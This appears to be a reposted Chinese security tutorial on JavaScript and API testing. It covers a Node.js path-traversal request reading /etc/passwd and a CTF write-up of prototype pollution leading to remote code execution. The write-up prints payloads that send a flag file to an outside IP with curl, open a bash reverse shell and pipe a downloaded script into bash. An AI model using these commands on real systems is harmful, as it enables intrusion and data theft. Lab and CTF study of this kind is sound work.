API安全JS接口&框架安全&脚本扫描&审计&利用
Posted 遗憾zzz
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了API安全JS接口&框架安全&脚本扫描&审计&利用相关的知识,希望对你有一定的参考价值。
一、JS-原理-判断-获取-变量传参函数
1、什么是JS渗透测试
在javascript中也存在变量和函数,当存在可控变量及函数调用即可参数漏洞
比如这里给变量str变量赋予值,如果是可控参数就可以被攻击这利用,构造恶意payload调用参数漏洞
2、流行的Js框架有那些
js框架即Javascript框架,是指以Javascript语言为基础搭建的编程框架,有了这些框架就更利于开发者去开发应用,简便了对代码的编写以及灵活的运用
React.js: 是一个开源的前端 JavaScript 库(并非一个成熟的框架),由 Jordan Walke 领导的 Facebook 开发团队于 2011 年创建,并于 2013 年 6 月开源。它的原型名为“FaxJS”,在 Facebook 消息来源(News Feed)上进行了首次测试。
Vue.js: 是一种轻量级、开源的 JavaScript 框架,用最小的努力来构建创造性的用户界面和高性能单页 Web 应用。
Angular.js: 它是谷歌开源、基于脚本的框架,用于创建单页 Web 应用的客户端。Angular 是由谷歌工程师 Misko Hevery 和 Adam Abrons 在 2010 年创建的,名为 AngularJS(或 Angular 1)。AngularJS 曾广为人知,也曾最受欢迎,但 React 的出现暴露了它严重的缺陷,后来被人们遗忘了。
Emberjs.js: Ember 最初是一个 SproutCore 2.0 框架,被 Yehuda Katz 重新命名为 Ember.js,他是一名资深开发者,被认为是 jQuery 的主要创造者之一。Ember 最流行、最基本的功能就是 Ember 命令行界面,其自身功能非常强大,是一个强大的生产力工具。
node.js 是一个事件驱动I/O服务端JavaScript环境,基于Google的V8引擎,V8引擎执行Javascript的速度非常快,性能非常好。
3、如何判定JS开发应用
(1)插件wappalyzer
Wappalyzer插件,是一款开发必备的网站技术嗅探工具,能够用来检测和分析当前网站的各种参数,比如平台架构、编程语言、网站环境、服务器配置、javascript框架等。
地址:https://www.wappalyzer.com/
(2)在开发者模式下查看源代码审计
一般有/static/js/app.js 等顺序的js文件、cookie中有connect.sid
4、如何获取更多的JS文件
(1)JsFinder
JSFinder是一款用作快速在网站的js文件中提取URL,子域名的工具。
命令 python JSFinder.py -u http://www.baidu.com
地址:https://github.com/Threezh1/JSFinder
(2)Packer-Fuzzer
Packer-Fuzzer一款针对Webpack等前端打包工具所构造的网站进行快速、高效安全检测的扫描工具
地址:https://github.com/rtcatc/Packer-Fuzzer
命令:python PackerFuzzer.py -u http://xxx.com/ -t adv -r html
扫描完毕后会生成一个报告文档
扫描器后缀替换字典
打开扫描器,用扫描器去打开一个包含js字典的文本去进行扫描探测
5、如何快速获取价值代码
method:"get"
http.get("
method:"post"
http.post("
$.ajax
service.httppost
service.httpget
二、单纯框架-Vulhub-Node.js漏洞
原因是 Node.js 8.5.0 对目录进行normalize操作时出现了逻辑错误,导致向上层跳跃的时候(如../../../../../../etc/passwd
),在中间位置增加foo/../
(如../../../foo/../../../../etc/passwd
),即可使normalize返回/etc/passwd
,但实际上正确结果应该是../../../../../../etc/passwd。
express这类web框架,通常会提供了静态文件服务器的功能,这些功能依赖于normalize函数。比如,express在判断path是否超出静态目录范围时,就用到了normalize函数,上述BUG导致normalize函数返回错误结果导致绕过了检查,造成任意文件读取漏洞。
搭建好环境如下:
可以通过插件判断为node.js
发送如下数据包,即可读取passwd:
GET /static/../../../a/../../../../etc/passwd HTTP/1.1
Host: your-ip:3000
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
三、 开发-CTF赛题-JS安全测试
[网鼎杯 2020 青龙组]notes
一道原型链污染的题: https://snyk.io/vuln/SNYK-JS-UNDEFSAFE-548940
undefsafe函数在2.03版本下会产生漏洞
这里给了附件所以要代码审计了app.js, 重点在status路由下,exec导致了任意代码执行,只需要我们污染command字典。通过command字典来执行我们的命令
app.route('/status')
.get(function(req, res) {
let commands = {
"script-1": "uptime",
"script-2": "free -m"
};
for (let index in commands) {
exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
if (err) {
return;
}
console.log(`stdout: ${stdout}`);
});
}
res.send('OK');
res.end();
})
代码大致意思就是可以执行系统命令,并在前端输出, 所以可以通过操控commands字典来执行我们的命令,例如令commads.a=ls
看传参 /edit_note下可以传三个参数,id author enote
app.route('/edit_note')
.get(function(req, res) {
res.render('mess', {message: "please use POST to edit a note"});
})
.post(function(req, res) {
let id = req.body.id;
let author = req.body.author;
let enote = req.body.raw;
if (id && author && enote) {
notes.edit_note(id, author, enote);
res.render('mess', {message: "edit note sucess"});
} else {
res.render('mess', {message: "edit note failed"});
}
})
传入后会直接写入当前的note_list
class Notes {
constructor() {
this.owner = "whoknows";
this.num = 0;
this.note_list = {};
}
write_note(author, raw_note) {
this.note_list[(this.num++).toString()] = {"author": author,"raw_note":raw_note};
}
get_note(id) {
var r = {}
undefsafe(r, id, undefsafe(this.note_list, id));
return r;
}
edit_note(id, author, raw) {
undefsafe(this.note_list, id + '.author', author);
undefsafe(this.note_list, id + '.raw_note', raw);
}
接收用户传参,并使用,可以利用这点进行命令执行
这里用的vps 监听端口9999, 构造payload如下
id=__proto__.bb&author=curl -F 'flag=@/flag' 1.13.16.48:9999&raw=a
在/edit_note界面post传入payload,成功污染原型链
最后在服务器网站文件夹下上传反弹shell,文件名shell.txt,然后访问/status页面触发RCE
bash -i >& /dev/tcp/1.13.16.48/9999 0>&1
补充:payload还有第二种构造方式,出自Y1ng师傅
id=__proto__.abc&author=curl%20http://174.1.62.169/shell.txt|bash&raw=a
四、开发-WEB应用-未授权-文件上传
未授权,前期通过F12找到敏感目录,然后直接访问
发现Jeecg-Boot 后台服务API接口文档 未授权访问
文件上传,参考学习F12sec团队-十二少的全程分析js渗透之前台getshell
文章地址:https://www.colcool.com/archives/76/
以上是关于API安全JS接口&框架安全&脚本扫描&审计&利用的主要内容,如果未能解决你的问题,请参考以下文章
Java集合框架 Map接口实现类--HashMap的介绍及使用 & HashMap存储过程
API接口自动化测试框架搭建(二十三)-框架主入口main.py设计&测试报告调用和生成